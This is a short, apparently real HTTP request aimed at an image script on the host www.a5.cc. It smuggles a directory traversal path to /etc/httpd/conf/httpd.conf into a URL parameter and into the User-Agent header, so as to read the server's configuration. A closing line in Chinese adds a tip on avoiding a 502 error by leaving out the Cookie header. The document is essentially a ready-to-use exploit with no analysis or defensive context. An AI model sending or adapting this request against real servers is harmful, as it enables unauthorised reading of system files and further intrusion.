GET /getImage.php?src=comnet-china.png&t=1427463776&url=../../../../../../etc/httpd/conf/httpd.conf HTTP/1.1
Host: www.a5.cc
Connection: Keep-alive
Accept: text/plain
User-Agent: Mozilla/5.0 /etc/httpd/conf/httpd.conf (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5
http头部不能有Cookie字段,不然502